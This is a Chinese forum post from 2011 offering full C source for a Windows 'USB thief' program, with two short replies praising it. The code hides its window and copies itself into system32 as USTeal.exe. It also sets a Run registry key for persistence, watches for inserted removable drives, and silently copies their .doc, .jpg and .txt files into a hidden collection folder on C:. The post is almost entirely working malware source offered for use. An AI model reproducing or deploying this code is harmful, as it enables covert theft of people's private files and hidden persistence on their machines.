首页
社区
课程
招聘
[旧帖] [原创]C语言SDK U盘小偷 0.00雪花
2011-11-18 14:03 3033

[旧帖] [原创]C语言SDK U盘小偷 0.00雪花

2011-11-18 14:03
3033
程序工作原理:

1、程序运行后将程序自身拷贝到系统目录。
2、写注册表,实现开机自启动。
3、在C盘下创建“U盘小偷”目录(文件夹),以存放偷来的文件。
4、检测是否有可移动设备插入电脑,如果有,获取当前系统时间,在"C:\U盘小偷"目录下创建以SYSTEMTIME结构体的部分成员为名字的文件夹,保存本次盗窃成果。

所有操作都在后台运行。

由于程序在运行的时候会写注册表,这个操作会被具有主动防御功能的杀毒软件拦截。

以下是程序源码:

#include "stdafx.h"
#include <windows.h>
#include <string>
#include <stdio.h>
#include <Dbt.h>
#include <iostream>
#include  "io.h"
#include "tlhelp32.h" 
#include "stdio.h" 
using namespace std;


void Dir(LPCTSTR lpPath);

LRESULT CALLBACK WndProc(
  HWND hwnd,      // handle to window
  UINT uMsg,      // message identifier
  WPARAM wParam,  // first message parameter
  LPARAM lParam   // second message parameter
);


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

    WNDCLASS wndclass;
    wndclass.cbClsExtra=0;
	wndclass.cbWndExtra=0;
	wndclass.hbrBackground=(HBRUSH)GetStockObject(BLACK_BRUSH);
	wndclass.hCursor=LoadCursor(NULL,IDC_ICON);
	wndclass.hIcon=LoadIcon(NULL,IDI_ASTERISK);
	wndclass.hInstance=hInstance;
	wndclass.lpfnWndProc=WndProc;
	wndclass.lpszClassName="lieying";
	wndclass.lpszMenuName=NULL;
	wndclass.style=CS_VREDRAW|CS_HREDRAW;

	RegisterClass(&wndclass);             //注册窗口类

	HWND hwnd;
	hwnd=CreateWindow("lieying","",WS_OVERLAPPEDWINDOW,150,150,683,384,NULL,NULL,hInstance,NULL);
	ShowWindow(hwnd,SW_HIDE);       //隐藏窗体
	UpdateWindow(hwnd);
    MSG msg;
	while(GetMessage(&msg,hwnd,0,0))      //消息循环
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	return 0;
}


LRESULT CALLBACK WndProc( HWND hwnd,   UINT uMsg,   WPARAM wParam,   LPARAM lParam  )   //窗口过程

{
	switch(uMsg)
	{

	   case WM_PAINT:
		   {
		       PAINTSTRUCT ps;
	           BeginPaint(hwnd,&ps);
		       EndPaint(hwnd,&ps);
		       break;
		   }

	   case WM_CLOSE:
		   {
			   return FALSE;
		       break;
		   }

	   case WM_DESTROY:
		   {
			    return FALSE;
               break;
		   }
	   case WM_CREATE:                                //窗体创建时执行复制自身到系统目录,并写注册表实现开机启动。
		   {

			    TCHAR desdir[MAX_PATH]=TEXT("c:\\U盘小偷");  //创建目录,用来存放偷来的文件
				CreateDirectory(desdir,NULL);

				//文件复制
				TCHAR ExeFullPath[MAX_PATH];
				GetModuleFileName(NULL,ExeFullPath,MAX_PATH);   //获取exe的全路径(包括文件名)

				TCHAR NewFilePath[MAX_PATH]="C:\\WINDOWS\\system32\\USTeal.exe";  //指定文件Copy到哪里去。
				CopyFile(ExeFullPath,NewFilePath,TRUE);  


				//写注册表,实现开机运行。
				HKEY hkey;
				TCHAR keyvalue[MAX_PATH]="C:\\WINDOWS\\system32\\USTeal.exe";  //判读下文件是否存在
				TCHAR childkey[]=TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");

				RegOpenKeyEx(HKEY_LOCAL_MACHINE,childkey,0,KEY_CREATE_SUB_KEY,&hkey);
				RegSetValue(HKEY_LOCAL_MACHINE,childkey,REG_SZ,keyvalue,strlen(keyvalue));
				RegCloseKey(hkey);

			   break;
		   }


		case WM_DEVICECHANGE:          //移动存储设备插入电脑会产生WM_DEVICECHANGE消息
			{
				if(lParam!=0)
				{
					PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;   //定义PDEV_BROADCAST_HDR结构体,系统填充结构体信息。
					if(lpdb->dbch_devicetype==DBT_DEVTYP_VOLUME)            
					{
						if(wParam==DBT_DEVICEARRIVAL)                       //移动存储设备已经可用。
						{
						    long i,j;
							TCHAR buf[100];
							TCHAR *cdbuf;
							j=100;
							i=GetLogicalDriveStrings(j,buf);
							for(j=0;j<i;j+=4)
							{
								cdbuf=&buf[j];
								if(GetDriveType(cdbuf)==DRIVE_REMOVABLE)   //判断插入设备的类型是否为可移动设备
								{
									Dir((LPCTSTR)cdbuf);
									
								}
							}

						}
					}
				}


			}
			break;

       default:
		   {
		      return DefWindowProc(hwnd,uMsg,wParam,lParam);
		      break;
		   }
	}

	return 0;
}


void Dir(LPCTSTR lpPath)
{
	TCHAR szFind[MAX_PATH];
	lstrcpy(szFind,lpPath);
	lstrcat(szFind,"\\*.*");
    WIN32_FIND_DATA  wfd;
	HANDLE hFind=FindFirstFile(szFind,&wfd);
    if(hFind == INVALID_HANDLE_VALUE)
		return;
	else
	{
		do
		{
            if (wfd.cFileName[0] == '.')  
            continue; //过滤本级目录和父目录

            if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)   //如果找到的是目录
			{
				TCHAR szFile[MAX_PATH];
				lstrcpy(szFile,lpPath);
				lstrcat(szFile,"\\");
				lstrcat(szFile,wfd.cFileName);
				Dir(szFile);      // 递归
			}

			else  //找到的是文件
			{
				TCHAR szFile[MAX_PATH];
				lstrcpy(szFile,lpPath);
				lstrcat(szFile,"\\");
				lstrcat(szFile,wfd.cFileName);
				int len=lstrlen(szFile);
				TCHAR *p=&szFile[len-3];
				if(lstrcmp(p,"doc")==0||lstrcmp(p,"jpg")==0||lstrcmp(p,"txt")==0) //要拷贝文件的后缀,我这里只拷贝doc,jpg,txt文件。
				{
					TCHAR szDes[MAX_PATH]=TEXT("C:\\U盘小偷\\");
					TCHAR szTime[MAX_PATH];
					SYSTEMTIME time;
					GetLocalTime(&time);   //获取当前系统时间,将文件夹的名字以SYSTEMTIME结构体的部分成员为目标文件名
					wsprintf(szTime,"%d月%d日%d时%d分",time.wMonth,time.wDay,time.wHour,time.wMinute);
                    lstrcat(szDes,szTime);
					CreateDirectory(szDes,NULL);
					lstrcat(szDes,"\\");
					lstrcat(szDes,wfd.cFileName);
					CopyFile(szFile,szDes,FALSE); //拷贝文件
									    
				}
			}
		}

		while(FindNextFile(hFind, &wfd));
        FindClose(hFind);
	}
}

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞5
打赏
分享
最新回复 (2)
雪    币: 190
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
kxzjchen 2011-11-18 17:23
2
0
不错,代码很好,精简,我发了一个用c++写的,代码好多啊
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
痞子蚂蚁 2011-11-18 17:46
3
0
过来学习的~
游客
登录 | 注册 方可回帖
返回